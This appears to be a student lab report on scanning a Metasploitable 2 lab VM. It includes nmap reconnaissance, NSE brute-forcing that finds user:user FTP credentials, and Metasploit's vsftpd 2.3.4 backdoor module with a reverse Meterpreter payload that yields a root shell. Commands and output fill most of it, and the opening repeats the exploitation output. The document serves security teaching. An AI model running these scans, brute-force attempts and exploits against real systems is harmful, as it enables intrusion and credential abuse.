[+] 10.99.99.2:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.99.99.1:4444 -> 10.99.99.2:46661) at 2026-08-03 13:47:36 -0400
```

Used the default reverse TCP payload since the goal is command execution. Exploited.

```
meterpreter > shell
Process 5841 created.
Channel 1 created.

whoami
root
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:b8:e0:b2 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0
    inet6 fd17:625c:f037:2:a00:27ff:feb8:e0b2/64 scope global dynamic
        valid_lft 86270sec preferred_lft 14270sec
    inet6 fe80::a00:27ff:feb8:e0b2/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:0c:0f:e5 brd ff:ff:ff:ff:ff:ff
    inet 10.99.99.2/24 scope global eth1
    inet6 fe80::a00:27ff:fe0c:fe5/64 scope link
        valid_lft forever preferred_lft forever
```

Dropping into a shell, we are root and we can confirm the IP is the metasploitable box

Lab 4: Vulnerability Scanned and Attack Simulation Report

Active Reconnaissance

Reconnaissance was performed against the Metasploitable 2 target from the Kali Linux host using nmap. A host-discovery sweep (Image 1) confirmed the target was live. A full TCP port scan with service detection (Image 2) enumerated all open ports and mapped each to its running service and version banner, identifying FTP on port 21 as vsftpd 2.3.4 among other exposed services. Vulnerability detected was then run using the Nmap Scripting Engine (Image 3), which flagged the known weaknesses associated with the detected service version. Finally, brute-force viability was assessed against authentication surfaces using the ftp-brute and http-brute NSE scripts on ports 21 and 80 respectively (Image 4, 5).

```
(stevengills@cyse450-sgill016)-[~]
$ ping 10.99.99.2 -c 1
PING 10.99.99.2 (10.99.99.2) 56(84) bytes of data.
64 bytes from 10.99.99.2: icmp_seq=1 ttl=64 time=4.00 ms

— 10.99.99.2 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.000/4.000/4.000/0.000 ms

(stevengills@cyse450-sgill016)-[~]
$ nmap -sn 10.99.99.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 13:28 -0400
Nmap scan report for 10.99.99.2
Host is up (0.00s latency).
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds
```

Image 1: Determine if host is online

```

21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
53/tcp    open  domain   ISC BIND 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind  2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec     netkit-rsh rexecd
513/tcp   open  login    OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs      2-4 (RPC #100003)
2121/tcp  open  ftp      ProFTPD 1.3.1
3306/tcp  open  mysql    MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd  distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc      VNC (protocol 3.3)
6000/tcp  open  X11      (access denied)
6667/tcp  open  irc      UnrealIRCd
6697/tcp  open  irc      UnrealIRCd
8009/tcp  open  ajp13    Apache Jserv (Protocol v1.3)
8180/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb      Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
40335/tcp open  mountd   1-3 (RPC #100005)
40839/tcp open  status   1 (RPC #100024)
42459/tcp open  java-rmi  GNU Classpath grmiregistry
52367/tcp open  nlockmgr 1-4 (RPC #100021)
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.82 seconds

```

Image 2: Port scan and service detection

```

ftp-vsftpd-backdoor:
VULNERABLE:
vsftpd version 2.3.4 backdoor
State: VULNERABLE (Exploitable)
IDs: CVE:CVE-2011-2523 BID:48539
vsftpd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: 2011-07-03
Exploit results:
Shell command: id
Results: uid=0(root) gid=0(root)
References:
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
https://www.securityfocus.com/bid/48539
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
vulners:
vsftpd 2.3.4:
PACKETSTORM:162145 10.0 https://vulners.com/packetstorm/PACKETSTORM:162145 *EXPLOIT*
FEA24DDE-72FF-5445-B198-9E2D5322DC86 10.0 https://vulners.com/githubexploit/FEA24DDE-72FF-5445-B198-9E2D5322DC86 *EXPLOIT*
EDB-ID:49757 10.0 https://vulners.com/exploitdb/EDB-ID:49757 *EXPLOIT*
EDB-ID:17491 10.0 https://vulners.com/exploitdb/EDB-ID:17491 *EXPLOIT*
ED5791E3-8935-5632-A403-CB7E7FA26CB0 10.0 https://vulners.com/githubexploit/ED5791E3-8935-5632-A403-CB7E7FA26CB0 *EXPLOIT*
EC730338-7726-59C3-8288-D8288B9550B9 10.0 https://vulners.com/githubexploit/EC730338-7726-59C3-8288-D8288B9550B9 *EXPLOIT*
E9B0AEBB-5138-50BF-8922-2D87E3C046DD 10.0 https://vulners.com/githubexploit/E9B0AEBB-5138-50BF-8922-2D87E3C046DD *EXPLOIT*
E356CCEC-7C81-5A77-8CE4-87DF4DB21897 10.0 https://vulners.com/githubexploit/E356CCEC-7C81-5A77-8CE4-87DF4DB21897 *EXPLOIT*
DC8CF54B-5E0D-55F4-B5C1-920406A0FF9F 10.0 https://vulners.com/githubexploit/DC8CF54B-5E0D-55F4-B5C1-920406A0FF9F *EXPLOIT*
D0DBA05F-750F-5F9B-9C69-65E8FA6977D5 10.0 https://vulners.com/githubexploit/D0DBA05F-750F-5F9B-9C69-65E8FA6977D5 *EXPLOIT*
CVE-2011-2523 10.0 https://vulners.com/cve/CVE-2011-2523
CNVD-2020-46837 10.0 https://vulners.com/cnvd/CNVD-2020-46837
CC3F6C15-182F-53F6-A5CC-812D37F1F047 10.0 https://vulners.com/githubexploit/CC3F6C15-182F-53F6-A5CC-812D37F1F047 *EXPLOIT*
BEE678EA-45C2-50C0-88F3-9A2E7CC2DECE 10.0 https://vulners.com/githubexploit/BEE678EA-45C2-50C0-88F3-9A2E7CC2DECE *EXPLOIT*
A7A90EE8-8AB4-5A6C-B232-E81EB21F6397 10.0 https://vulners.com/githubexploit/A7A90EE8-8AB4-5A6C-B232-E81EB21F6397 *EXPLOIT*
A418DBAB-C86F-56F2-B9E8-709503C4D553 10.0 https://vulners.com/githubexploit/A418DBAB-C86F-56F2-B9E8-709503C4D553 *EXPLOIT*
A41B5EAD-1A4C-56A6-97C6-1C58A1CF1E3B 10.0 https://vulners.com/githubexploit/A41B5EAD-1A4C-56A6-97C6-1C58A1CF1E3B *EXPLOIT*
9B4BA341-1CBF-59D6-AA40-33596997F238 10.0 https://vulners.com/githubexploit/9B4BA341-1CBF-59D6-AA40-33596997F238 *EXPLOIT*
885D9854-A37F-5A73-9F90-EE3F205DE5B0 10.0 https://vulners.com/githubexploit/885D9854-A37F-5A73-9F90-EE3F205DE5B0 *EXPLOIT*
817CD8FE-87C4-5FE8-B9B2-8CC64333A3F3 10.0 https://vulners.com/githubexploit/817CD8FE-87C4-5FE8-B9B2-8CC64333A3F3 *EXPLOIT*
640E6781-DC00-5CC2-88A5-C12AFFCA478B 10.0 https://vulners.com/githubexploit/640E6781-DC00-5CC2-88A5-C12AFFCA478B *EXPLOIT*
63A5C9A7-C241-5E83-9EE6-ABAB448DD270 10.0 https://vulners.com/githubexploit/63A5C9A7-C241-5E83-9EE6-ABAB448DD270 *EXPLOIT*
5F4BCEDF-77DF-5D54-851A-0AE8B76458D9 10.0 https://vulners.com/githubexploit/5F4BCEDF-77DF-5D54-851A-0AE8B76458D9 *EXPLOIT*
59BAFDCD-5027-5C82-BC59-FC7625DD81DB 10.0 https://vulners.com/githubexploit/59BAFDCD-5027-5C82-BC59-FC7625DD81DB *EXPLOIT*

```

Image 3: vsftpd vulnerability scan

```

$ sudo nmap -p 80 --script http-brute 10.99.99.2
[sudo] password for stevengills:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 13:36 -0400
Nmap scan report for 10.99.99.2
Host is up (0.00s latency).

PORT      STATE SERVICE
80/tcp    open  http
| http-brute:
|_ Path "/" does not require authentication
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

```

Image 4: http-brute not possible

```

PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-brute:
|_ Accounts:
|_ user:user - Valid credentials
|_ Statistics: Performed 282 guesses in 600 seconds, average tps: 0.4
MAC Address: 08:00:27:0C:0F:E5 (Oracle VirtualBox virtual NIC)

```

Image 5: ftp-brute determined credentials user:user are valid

Exploit and Payload Selection

Port 21 was confirmed open and fingerprinted as vsftpd 2.3.4. In msfconsole, searching for exploits of vsftpd returned the matching modules (Image 6). The target host was configured and verified (Image 6). The default payload was used since it upgrades the raw root command shell into a full Meterpreter session, providing richer post-exploitation capability than a bare shell (Image 7). After exploiting the Metasploitable box, two commands were run to verify (Image 8).

```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent Yes    VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.99.99.2
RHOSTS => 10.99.99.2
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    10.99.99.2      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
RPORT     21              yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

Name      Current Setting  Required  Description
--      -
FETCH_COMMAND  CURL            yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE   false           yes       Attempt to delete the binary after execution
FETCH_FILELESS none            yes       Attempt to run payload without touching disk by using anonymous handles,
riant also Python >=3.8, tested shells are sh, bash, zsh) (Accepted: none,
FETCH_SRVHOST  no              no        Local IP to use for serving payload
FETCH_SRVPORT  8080            yes       Local port to use for serving payload
FETCH_URIPATH  no              no        Local URI to use for serving payload
```

Image 6: Exploit selection and host configuration

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.99.99.1
LHOST => 10.99.99.1
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 10.99.99.1:4444
[*] 10.99.99.2:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 10.99.99.2:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 10.99.99.2:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 10.99.99.2:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.99.99.1:4444 -> 10.99.99.2:46661) at 2026-08-03 13:47:36 -0400
```

Image 7: Exploitation

```
meterpreter > shell
Process 5841 created.
Channel 1 created.

whoami
root
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:b8:e0:b2 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global eth0
    inet6 fd17:625c:f037:2:a00:27ff:feb8:e0b2/64 scope global dynamic
        valid_lft 86270sec preferred_lft 14270sec
    inet6 fe80::a00:27ff:feb8:e0b2/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:0c:0f:e5 brd ff:ff:ff:ff:ff:ff
    inet 10.99.99.2/24 scope global eth1
    inet6 fe80::a00:27ff:fe0c:fe5/64 scope link
        valid_lft forever preferred_lft forever
```

Image 8: Verification